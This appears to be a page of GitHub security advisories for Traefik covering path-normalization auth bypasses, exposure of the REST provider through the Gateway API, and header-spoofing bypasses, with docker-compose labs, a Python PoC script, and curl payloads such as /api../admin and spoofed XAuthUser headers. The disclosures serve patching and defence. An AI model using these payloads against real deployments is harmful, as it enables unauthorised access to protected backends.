Where
AND
-Infinity
0
Severity
7.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.48 - https://github.com/traefik/traefik/releases/tag/v3.6.19 - https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)

Summary

A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.

A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.

This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.

This report specifically affects StripPrefix.

Affected Versions Tested

| Image | Observed Version | Result | |---|---|---| | traefik:v2.11 | v2.11.46 | Affected | | traefik:v3.6 | v3.6.17 | Affected | | traefik:latest | v3.7.1 | Affected |

Lab Contrast

| Image | Result | |---|---| | traefik:v2.10 | Not reproduced in lab | | traefik:v3.5 | Not reproduced in lab |

Vulnerable Configuration Pattern

The issue appears when:

- a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin paths

yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend

protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend

middlewares: strip-api: stripPrefix: prefixes: - /api

auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

services: backend: loadBalancer: servers: - url: http://backend:9000

Observed Behavior

Direct Protected Paths

These are correctly blocked.

| Request | Expected | Observed | |---|---|---| | GET /admin | Blocked | 401 | | GET /internal/config | Blocked | 401 |

Expected Public Exclusions

These do not expose protected backend paths.

| Request | Expected | Observed | |---|---|---| | GET /api/admin | Not routed to protected backend path | 404 | | GET /api/internal/config | Not routed to protected backend path | 404 |

Bypass Payloads

These reach protected backend paths.

| Request | Observed Status | Backend Receives | |---|---|---| | GET /api../admin | 200 | /admin | | GET /api%2e%2e/admin | 200 | /admin | | GET /api../internal/config | 200 | /internal/config | | GET /api%2e%2e/internal/config | 200 | /internal/config |

Minimal PoC

docker-compose.yml

yaml services: traefik: image: traefik:v3.7 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:8080 - --accesslog=true ports: - "127.0.0.1:18080:8080" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro dependson: - backend

backend: image: python:3.12-slim workingdir: /app command: python backend.py volumes: - ./backend.py:/app/backend.py:ro expose: - "9000"

dynamic.yml

yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend

protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend

middlewares: strip-api: stripPrefix: prefixes: - /api

auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

services: backend: loadBalancer: servers: - url: http://backend:9000

backend.py

python from http.server import BaseHTTPRequestHandler, HTTPServer import json

class Handler(BaseHTTPRequestHandler): def logmessage(self, fmt, args): return

def json(self, status, obj): body = json.dumps(obj).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def doGET(self): if self.path == "/admin": self.json(200, { "seenpath": self.path, "secret": "ADMINSECRETREACHED" }) elif self.path == "/internal/config": self.json(200, { "seenpath": self.path, "secret": "TRAEFIKLABINTERNALCONFIG" }) elif self.path == "/admin/exec": self.json(200, { "seenpath": self.path, "rcechainmarker": True, "note": "protected execution endpoint reached" }) else: self.json(404, { "seenpath": self.path, "secret": None })

HTTPServer(("0.0.0.0", 9000), Handler).serveforever()

poc.py

python #!/usr/bin/env python3 from urllib.request import Request, urlopen from urllib.error import HTTPError

BASE = "http://127.0.0.1:18080"

PATHS = [ "/admin", "/internal/config", "/api/admin", "/api/internal/config", "/api../admin", "/api%2e%2e/admin", "/api../internal/config", "/api%2e%2e/internal/config", "/admin/exec", "/api/admin/exec", "/api../admin/exec", "/api%2e%2e/admin/exec", ]

for path in PATHS: req = Request(BASE + path) try: with urlopen(req, timeout=5) as r: status = r.status body = r.read().decode(errors="replace") except HTTPError as e: status = e.code body = e.read().decode(errors="replace")

print(f"{path:28} {status} {body[:180]}")

Run

bash docker compose up -d python3 poc.py

Expected Vulnerable Output

text /admin 401 /internal/config 401 /api/admin 404 /api/internal/config 404 /api../admin 200 backend seenpath=/admin /api%2e%2e/admin 200 backend seenpath=/admin /api../internal/config 200 backend seenpath=/internal/config /api%2e%2e/internal/config 200 backend seenpath=/internal/config /api../admin/exec 200 protected execution endpoint reached /api%2e%2e/admin/exec 200 protected execution endpoint reached

Root Cause Hypothesis

The vulnerable behavior appears to be caused by path normalization after prefix stripping.

text Incoming path: /api../admin After StripPrefix("/api"): /../admin After JoinPath(): /admin

The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.

The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.

Security Impact

An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.

Potential impact includes:

- Access to protected admin paths - Access to internal configuration endpoints - Exposure of secrets returned by internal backends - Access to protected backend management functionality - Conditional RCE if the protected backend exposes an execution primitive

In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.

This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.

Suggested Severity

Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.

text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.

If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:

text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.

Weakness

Primary CWE:

- CWE-863: Incorrect Authorization

Related weakness candidates:

- CWE-180: Incorrect Behavior Order: Validate Before Canonicalize - CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Mitigation Verified in Lab

The bypass was blocked when using a stricter prefix boundary:

text PathRegexp(^/api(/|$))

or:

text PathPrefix(/api/) with StripPrefix(/api/)

Relation to Existing Advisories

This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.

This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.

Reporter

WonYun / kyun0

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
6.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider that allows a tenant with HTTPRoute creation permissions to expose the REST provider handler, bypassing the providers.rest.insecure=false setting. The Gateway provider accepts any TraefikService backend reference whose name ends with @internal, making it possible to route traffic to rest@internal in addition to the intended api@internal. In shared Gateway deployments where the REST provider is enabled, this allows a low-privileged actor to gain live dynamic configuration write access to Traefik, enabling unauthorized reconfiguration of routers and services.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.46 - https://github.com/traefik/traefik/releases/tag/v3.6.17 - https://github.com/traefik/traefik/releases/tag/v3.7.1

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary When the Kubernetes Gateway API provider is enabled, Traefik accepts any TraefikService backend whose name ends with @internal. This allows a tenant-controlled HTTPRoute to publish rest@internal.

If providers.rest is enabled, this exposes Traefik's REST provider handler even when providers.rest.insecure=false, even though providers.rest.insecure=false is meant to keep the REST handler from being exposed by Traefik's built-in internal router. In a shared Gateway deployment, an actor with permission to create or update HTTPRoute resources in an allowed namespace can gain live Traefik dynamic-configuration write access through PUT /api/providers/rest.

Details The Gateway provider treats internal services broadly rather than allowing only a specific internal target.

In current master, pkg/provider/kubernetes/gateway/kubernetes.go defines isInternalService(...) as any TraefikService reference whose name ends with @internal.

Then pkg/provider/kubernetes/gateway/httproute.go special-cases a single backend reference that matches isInternalService(...) and directly assigns router.Service = string(routeRule.BackendRefs[0].Name).

This means a tenant route can target not only api@internal, but also rest@internal and other internal handlers.

Separately, the REST provider handler is created whenever the REST provider is enabled. In pkg/server/service/managerfactory.go, if staticConfiguration.Providers.Rest != nil, Traefik sets factory.restHandler = staticConfiguration.Providers.Rest.CreateRouter().

The REST provider handler itself is implemented in pkg/provider/rest/rest.go and accepts PUT /api/providers/{provider}.

The providers.rest.insecure flag does not disable the underlying handler. In pkg/provider/traefik/internal.go, that flag only controls whether Traefik creates its own built-in internal router for rest@internal. Even when providers.rest.insecure=false, Traefik still registers the rest service object, and the service layer can still resolve rest@internal if another provider routes to it.

I validated this locally in two tests: 1. the Gateway route-building path accepts rest@internal as an internal backend through the same special-case branch used for api@internal 2. the service layer builds and serves rest@internal successfully when providers.rest is enabled and providers.rest.insecure=false

The vulnerable code path is present in: - v3.0.0 - v3.6.7 - v2.11.0 - v2.11.36 - current master at 786f7192e11878dfaa634f8263bf79bb730a71cb

I verified the issue in v3.0.0, v3.6.7, v2.11.0, v2.11.36, and current master; the reported affected ranges reflect the maintained release lines checked during validation

I did not find a public Traefik advisory or CVE for this exact issue. The closest public overlap I found is the documented/tested Gateway support for api@internal, but the issue here is broader because the Gateway code accepts any @internal TraefikService, including the write-capable rest@internal handler.

Expected behavior providers.rest.insecure=false should prevent low-privileged route authors from exposing the REST provider handler.

Actual behavior A tenant-controlled Gateway route can still publish rest@internal and reach the REST update API.

Attacker prerequisites - The Kubernetes Gateway API provider is enabled. - providers.rest=true. - providers.rest.insecure=false. - A shared Gateway allows tenant namespaces to attach HTTPRoute resources. - The attacker can create or update HTTPRoute resources in an allowed tenant namespace.

PoC 1. Configure Traefik so that the Kubernetes Gateway provider is enabled, the REST provider is enabled, and the REST provider is not exposed insecurely.

Example static configuration:

yaml providers: kubernetesGateway: {} rest: insecure: false

2. Ensure a shared Gateway allows tenant HTTPRoute attachment.

3. In an allowed tenant namespace, create an HTTPRoute whose backend points to rest@internal:

yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: expose-rest-internal namespace: tenant-a spec: parentRefs: - name: shared-gateway namespace: infra hostnames: - rest.tenant.example rules: - matches: - path: type: PathPrefix value: / backendRefs: - group: traefik.io kind: TraefikService name: rest@internal port: 80

4. Send a PUT request through that published route to /api/providers/rest with a valid dynamic configuration body. A harmless proof can add a dummy router pointing to noop@internal.

Example request body:

json { "http": { "routers": { "probe": { "rule": "PathPrefix(/probe)", "service": "noop@internal", "ruleSyntax": "default" } } } }

5. Observe that Traefik accepts the update and applies the supplied dynamic configuration, even though providers.rest.insecure=false.

Impact This is an authorization / trust-boundary bypass affecting shared Gateway deployments.

On affected deployments, an actor who should only be able to create or update HTTPRoute objects can escalate to live Traefik dynamic-configuration write access. That can allow unauthorized reconfiguration of routers and services, publication of additional internal surfaces, request interception or rerouting, and denial of service through destructive config changes.

On affected deployments, this gives a low-privileged Gateway route author live Traefik dynamic-configuration write access. This is critical for affected shared Gateway deployments because it can give a low-privileged route author live Traefik dynamic-configuration write access, but it depends on providers.rest being enabled.

This is not an unauthenticated vulnerability in all Traefik deployments. The issue depends on realistic but specific conditions: - providers.rest must be enabled - the attacker must be allowed to attach HTTPRoute resources to a shared Gateway

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. X-Auth-User) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. XAuthUser), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new allowHeadersWithUnderscores: false entry point option, which strips all headers with underscores in their names before routing.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth

Summary

The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added req.Header.Del(headerField) before the literal-key writeback in pkg/middlewares/auth/basicauth.go and pkg/middlewares/auth/digestauth.go. Go's Header.Del calls textproto.CanonicalMIMEHeaderKey which canonicalizes ASCII CASE and treats - as a word separator — so the fix correctly strips canonical-cased attacker headers (X-Auth-User, x-auth-user, X-AUTH-USER, etc.).

However, textproto.CanonicalMIMEHeaderKey does NOT treat as a separator. Attacker-supplied underscore-variant headers such as XAuthUser survive Header.Del("X-Auth-User") intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP $SERVER, nginx with underscoresinheaders on, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize ↔ - equivalently or expose both forms to application code that may read the attacker's value.

This is the direct cross-cohort sibling of the threat model the maintainer accepted in CVE-2026-39858 (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded- family via isManagedXHeader in pkg/middlewares/forwardedheaders/forwardedheader.go. The CVE-2026-39858 advisory body states verbatim:

"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials."

The same threat model applies to the operator-configurable headerField (BasicAuth, DigestAuth) and authResponseHeaders (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (isManagedXHeader) was not extended to those middlewares. I verified the bypass end-to-end on traefik:v3.6.14 (the latest patched release containing both fixes) using a default-recommended canonical headerField: "X-Auth-User" config and reproduced the bypass with a single curl -H "XAuthUser: superadmin" ... request alongside valid BasicAuth credentials.

The defect is present in four code paths at HEAD eec68dce064f843b4317c4393aaea81b6dea31d6:

1. pkg/middlewares/auth/basicauth.go:101-105 — BasicAuth headerField 2. pkg/middlewares/auth/digestauth.go:99-103 — DigestAuth headerField 3. pkg/middlewares/auth/forward.go:304-310 — ForwardAuth authResponseHeaders per-name writeback 4. pkg/middlewares/ingressnginx/snippet/snippet.go:480-486 — Ingress-NGINX snippet authResponseHeaders per-name writeback

The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The authResponseHeaders mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.

The fast proxy at pkg/proxy/fast/proxy.go:139 explicitly calls DisableNormalizing() on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard httputil.ReverseProxy path at pkg/proxy/httputil/proxy.go:55 likewise copies req.Header keys as-is during the wire write.

Affected versions

- traefik v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.

The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the Del line but the literal-key write defect-class survives for underscore variants).

Root cause

In pkg/middlewares/auth/basicauth.go at HEAD eec68dc:

go if b.headerField != "" { // TODO Deprecated we should add the header with canonical key. req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} }

The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current Del + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.

pkg/middlewares/auth/digestauth.go:99-103 and the two ForwardAuth paths follow the same Del + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.

The maintainer's gold-standard primitive for handling this exact threat class is pkg/middlewares/forwardedheaders/forwardedheader.go:53-66:

go func isManagedXHeader(key string) bool { if len(key) == 0 || key[0] != 'X' { return false } if , ok := XHeadersSet[key]; ok { return true } if strings.IndexByte(key, '') < 0 { return false } canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "", "-")) , ok := XHeadersSet[canonical] return ok }

This treats ↔ - equivalence as a security requirement. It is reachable only via the static XHeadersSet membership check, which contains exclusively the X-Forwarded- family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.

Proof of concept

Verified on traefik:v3.6.14 (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/<attacker-repo>/traefik-ht1a-poc; commands below are verbatim.

Setup

yaml docker-compose.yml services: traefik: image: traefik:v3.6.14 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:80 ports: - "8080:80" volumes: - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro echo: image: mendhak/http-https-echo:36 environment: - HTTPPORT=8888

yaml traefik/dynamic.yml — canonical headerField, recommended operator config http: routers: protected: rule: "PathPrefix(/)" service: echo middlewares: [basic-auth] services: echo: loadBalancer: servers: [{url: "http://echo:8888"}] middlewares: basic-auth: basicAuth: users: - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC' # alice:secret123 headerField: "X-Auth-User"

docker compose up -d.

Test 1 (control — CVE-2026-33433 fix works for canonical case)

bash $ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", ... }

The attacker's canonical X-Auth-User: superadmin was correctly stripped by Traefik's Del; the backend receives only Traefik's authenticated-user writeback alice.

Test 2 (HT-1A bypass — underscore variant survives)

bash $ curl -s -u alice:secret123 -H "XAuthUser: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", "xauthuser": "superadmin", ... }

The underscore-variant xauthuser: superadmin reached the backend intact, despite the Del("X-Auth-User") having executed. The backend sees both forms.

Test 3 (double-send — same result)

bash $ curl -s -u alice:secret123 \ -H "X-Auth-User: superadmin" \ -H "XAuthUser: superadmin" \ http://localhost:8080/ { ... "x-auth-user": "alice", # Traefik's writeback "xauthuser": "superadmin", # attacker's underscore — survived Del ... }

The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.

Backend impact

The PoC's echo backend (mendhak/http-https-echo, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading req.headers["x-auth-user"] sees alice. Application code reading req.headers["xauthuser"] sees superadmin.

For backends that normalize ↔ - equivalently — meaning the attacker's value wins:

- CGI / WSGI / PHP $SERVER (RFC 3875 §4.1.18 — header name uppercased with - replaced by ): both X-Auth-User and XAuthUser map to HTTPXAUTHUSER. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without --disable-logging, waitress) preserve both. Note: Apache + modphp with default HttpProtocolOptions Strict filters underscore-headers from $SERVER (this PoC's PHP backend test demonstrated the filter); Apache + modpython, Apache + modwsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter. - nginx with underscoresinheaders on (https://nginx.org/en/docs/http/ngxhttpcoremodule.html#underscoresinheaders): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them. - Tomcat / Java EE servlet containers: HttpServletRequest.getHeader(name) is case-insensitive; underscore handling is container-specific. Many normalize. - Application middleware (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.

Severity

I propose HIGH CVSS 7.5 for the BasicAuth / DigestAuth case and CRITICAL CVSS 9.1 for the ForwardAuth authResponseHeaders case (the latter requires no credentials).

CVSS 3.1 vector (BasicAuth / DigestAuth): AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5 — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical headerField). HT-1A works against the canonical / recommended headerField configuration, broader operational scope.

CVSS 3.1 vector (ForwardAuth authResponseHeaders): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1 — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the authResponseHeaders mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.

CWEs: - CWE-290 (Authentication Bypass by Spoofing) - CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054 - CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051

Suggested fix

Two equivalent approaches:

1. Extend Header.Del to handle underscore variants at the four call sites. Replace:

go req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user}

with:

go canonical := http.CanonicalHeaderKey(b.headerField) // Strip canonical AND underscore-variant of the canonical key. for key := range req.Header { if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "", "-"), canonical) { delete(req.Header, key) } } req.Header.Set(canonical, user) // canonical-key write

This pairs the headerField primitive with the same ↔ - equivalence that isManagedXHeader enforces for X-Forwarded-.

2. Generalize the existing isManagedXHeader primitive into a stripHeaderAndVariants(headers http.Header, name string) helper in the forwardedheaders package and call it from basicauth.go, digestauth.go, forward.go, and snippet.go. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.

Either approach should also resolve the // TODO Deprecated we should add the header with canonical key. debt at basicauth.go:102 and digestauth.go:100 by writing to the canonical key (Header.Set(canonical, user)) instead of the literal b.headerField.

Why this is a Pattern-8 sibling, not a new CVE class

The combination of:

1. CVE-2026-33433's fix scope (case-canonicalization for headerField) 2. CVE-2026-39858's fix scope (underscore-variant for XHeadersSet) 3. The defective primitive remaining at HEAD (the Del + literal-write pair at four call sites)

establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual Header.Del implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.

I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.

Credit

Matteo Panzeri (GitHub matte1782). CVE credit requested.

AI-assistance disclosure

Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a medium severity vulnerability in Traefik's ForwardAuth middleware. Even when configured with trustForwardHeader: false, Traefik derives the X-Forwarded-Port header sent to the authentication service from the original incoming request instead of the sanitized forwarded request. As a result, an unauthenticated remote attacker can inject an X-Forwarded-Proto: https header over a plain HTTP connection and cause Traefik to forward X-Forwarded-Port: 443 to the auth service, bypassing port-based authorization checks. This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54, which addressed the X-Forwarded-Proto and X-Forwarded-Prefix spoofing vectors but missed the X-Forwarded-Port vector.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

The ForwardAuth middleware, even when configured with trustForwardHeader: false, still derives the X-Forwarded-Port header sent to the authentication service by reading the attacker-controlled X-Forwarded-Proto header from the original incoming request. This allows an unauthenticated remote attacker to cause Traefik to forward X-Forwarded-Port: 443 to the auth service on a plain HTTP connection, creating an inconsistency that can bypass port-based authorization checks.

### Details

The fix introduced in commit 5e1de2258 (released as part of the April 2026 security advisory GHSA-6384-m2mw-rf54) correctly strips all X-Forwarded- headers from the forwarded auth request when trustForwardHeader=false, and reconstructs X-Forwarded-Proto from the actual TLS state of the connection (req.TLS).

However, the reconstruction of X-Forwarded-Port is delegated to the helper forwardedPort(req) which receives the original request (req) rather than the sanitized forward request (forwardReq):

go // pkg/middlewares/auth/forward.go – writeHeader() if !trustForwardHeader { forwardedheaders.DeleteXForwardedHeaders(forwardReq.Header) // strips all X-Fwd- from forwardReq } // ... if , ok := forwardReq.Header[forwardedheaders.XForwardedPort]; !ok { forwardReq.Header.Set(forwardedheaders.XForwardedPort, forwardedPort(req)) // ← req = ORIGINAL }

// pkg/middlewares/auth/forward.go – forwardedPort() func forwardedPort(req http.Request) string { if , port, err := net.SplitHostPort(req.Host); err == nil && port != "" { return port } // Reads attacker-controlled header on the ORIGINAL request: if req.Header.Get(forwardedheaders.XForwardedProto) == "https" || ... { return "443" } if req.TLS != nil { return "443" } return "80" }

Result when trustForwardHeader=false and attacker sends X-Forwarded-Proto: https on a plain HTTP connection:

┌──────────────────────────────────┬──────────┬────────┐ │ Header forwarded to auth service │ Expected │ Actual │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Proto │ http │ http ✓ │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Port │ 80 │ 443 ✗ │ └──────────────────────────────────┴──────────┴────────┘ The inconsistency between Proto=http and Port=443 is exploitable against any authentication service that gates access based on X-Forwarded-Port.

### PoC

Traefik configuration:

http: middlewares: my-auth: forwardAuth: address: "http://auth-service/" trustForwardHeader: false # security setting, but still bypassable routers: api: rule: "PathPrefix(/api)" middlewares: - my-auth service: backend

Auth service logic (example victim): # auth-service checks: only port 443 requests are considered "secure" port = request.headers.get("X-Forwarded-Port", "80") proto = request.headers.get("X-Forwarded-Proto", "http") if port == "443": return 200 # grant access return 403 Attack:

Plain HTTP connection, no TLS – but spoofs port 443 curl -H "X-Forwarded-Proto: https" http://traefik.example.com/api/admin Auth service receives X-Forwarded-Port: 443 → grants access

Verification: Enable Traefik debug logging and observe X-Forwarded-Port: 443 in the auth request while the connection is plain HTTP.

### Impact

Any deployment using the ForwardAuth middleware with trustForwardHeader: false where the downstream authentication service uses X-Forwarded-Port to make authorization decisions is vulnerable to privilege escalation. An unauthenticated attacker can bypass port-based security checks (e.g., "only allow requests arriving on HTTPS port 443") by injecting a single X-Forwarded-Proto: https header on a plain HTTP connection.

This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54: while the X-Forwarded-Prefix and X-Forwarded-Proto spoofing vectors were addressed, the X-Forwarded-Port vector was missed.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.

The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).

ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content

An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

